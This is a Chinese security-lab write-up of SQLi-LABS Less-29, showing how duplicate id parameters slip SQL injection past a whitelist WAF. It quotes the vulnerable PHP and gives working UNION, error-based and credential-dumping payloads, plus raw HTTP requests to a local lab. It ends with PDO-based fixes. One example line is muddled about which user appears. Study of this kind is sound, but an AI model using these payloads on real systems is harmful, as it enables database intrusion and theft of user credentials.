Less-29 审计报告:HTTP 参数污染(HPP)绕过 WAF 白名单
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-29 Protection with WAF |
| 源码路径 | Less-29/login.php(WAF 入口,注入点)、Less-29/index.php(无过滤,直接注入) |
| 漏洞类型 | SQL 注入 – 报错/联合注入,通过 HTTP 参数污染(HPP)绕过 WAF 数字白名单 |
| 注入点参数 | GET /Less-29/login.php?id=(重复 id 参数) |
| 报错/盲注 | 报错回显(print_r(mysql_error()),login.php 第 52 行) |
| 所需环境 | PHP 5.x + mysql 扩展 + MySQL 5.x |
2. 漏洞代码定位
文件一:Less-29/login.php(带 WAF 的注入点)
// 第 17 行:关闭 PHP 警告(不影响 mysql_error() 输出)
error_reporting(0);
// 第 22~25 行:关键 —— 两个不同的参数取值方式
$qs = $_SERVER['QUERY_STRING']; // 取原始查询字符串
$hint=$qs;
$id1=java_implimentation($qs); // 模拟 Java 容器:取"第一个" id 值
$id=$_GET['id']; // PHP 原生:取"最后一个" id 值
// 第 27 行:仅对"第一个 id 值"做数字白名单校验
whitelist($id1);
// 第 38 行:SQL 使用 $id(最后一个 id 值,未过滤)
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// 第 52 行:报错回显
print_r(mysql_error());
// 第 68~81 行:白名单 —— 只允许纯数字
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match) { }
else {
header('Location: hacked.php'); // 非数字 → 跳转
}
}
// 第 86~105 行:模拟 Java 容器对重复参数取"第一个"值
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s); // 按 & 拆分
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id") {
$id_value=substr($value,3,30);
return $id_value; // 直接返回第一个 id 的值
}
}
}
文件二:Less-29/index.php(无 WAF,可直接注入)
// 第 22 行:直接取参数,无任何过滤
$id=$_GET['id'];
// 第 32 行:直接拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// 第 46 行:报错回显
print_r(mysql_error());
3. 漏洞分析
- WAF 机制:
whitelist($id1)只校验java_implimentation()返回的值——即查询字符串中第一个id参数是否匹配/^\d+$/。这是模拟"PHP 在 J2EE 反代后"的经典场景:反代(Java)解析重复参数取第一个,WAF 基于此过滤,但后端 PHP 解析重复参数取最后一个。 - HPP 差异(核心):
java_implimentation($qs)按&拆分原始 QUERY_STRING,取第一个id=xx,只留substr($value,3,30)(去掉id=后 30 字符);$_GET['id']由 PHP 解析,重复参数时取最后一个值;- 两个取值点不一致 → 白名单校验的值 ≠ 实际进入 SQL 的值。
- 利用本质:提交
?id=1&id=<恶意SQL>:- 第一个
id=1→ 通过/^\d+$/白名单; - 第二个
id=<恶意SQL>→ 被$_GET['id']取走进入WHERE id='...'→ 注入成功。
- 第一个
- 闭合方式:login.php 为
WHERE id='$id',payload 用1'闭合单引号,-- -注释尾部。 - 报错回显:login.php 第 52 行 / index.php 第 46 行均有
mysql_error(),可直接报错注入或 UNION。
4. 利用方式
步骤一:确认 HPP 生效
- 正常:
?id=1&id=2→ 显示Your Login name:Dumb(取第二个值2,但2对应 Angelina,实际显示按id=2)。 - 说明:WAF 校验第一个
id=1(数字)放行;SQL 使用第二个id=2。 - 恶意:
?id=1&id=1' union select 1,2,3-- -→ 若报错/回显异常,注入点确认。
步骤二:联合注入(login.php,HPP 绕过 WAF)
?id=1&id=1' union select 1,2,database()-- -
拼接后:
SELECT * FROM users WHERE id='1' union select 1,2,database()-- -' LIMIT 0,1
- 结果显示
Your Login name:2、Your Password:security。
步骤三:报错注入(无需注释闭合)
?id=1&id=1' and extractvalue(1,concat(0x7e,database()))-- -
回显 XPATH syntax error: '~security'。
步骤四:直接访问 index.php(无 WAF)
?/Less-29/index.php?id=-1' union select 1,2,group_concat(username,0x3a,password) from users-- -
5. Yakit 重放数据包
GET /sqli-labs/Less-29/login.php?id=1&id=1'%20union%20select%201,2,database()--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
报错注入报文:
GET /sqli-labs/Less-29/login.php?id=1&id=1'%20and%20extractvalue(1,concat(0x7e,database()))--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
关键:URL 中必须同时存在两个
id参数,第一个纯数字、第二个为 payload。Yakit 发送时保持原样即可。
6. 修复建议
修复一:PDO 预处理
<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();
修复二:统一参数取值 + 白名单
<?php
// 1) 只取"最后一个"id 且校验,杜绝 WAF 与后端取值不一致
$id = $_GET['id'];
if (!preg_match('/^\d+$/', $id)) {
header('Location: hacked.php'); exit;
}
// 2) 参数化查询
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
修复三:加固要点
- 统一不同层(反代 WAF 与后端)对重复参数的处理规则:要么都取第一个,要么都取最后一个,并做严格白名单;
- 在 Web 层对重复参数直接拒绝/合并后再过滤;
- 关闭
mysql_error()回显;数据库最小权限; - 升级 PHP 7+ / 8+,移除
mysql_*。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前提:导入
sql-lab.sql、配置sql-connections/db-creds.inc、PHP 5.x +mysql扩展。 - 本关 HPP 的本质:WAF 白名单校验的是"第一个 id",SQL 用的是"最后一个 id"。
正文完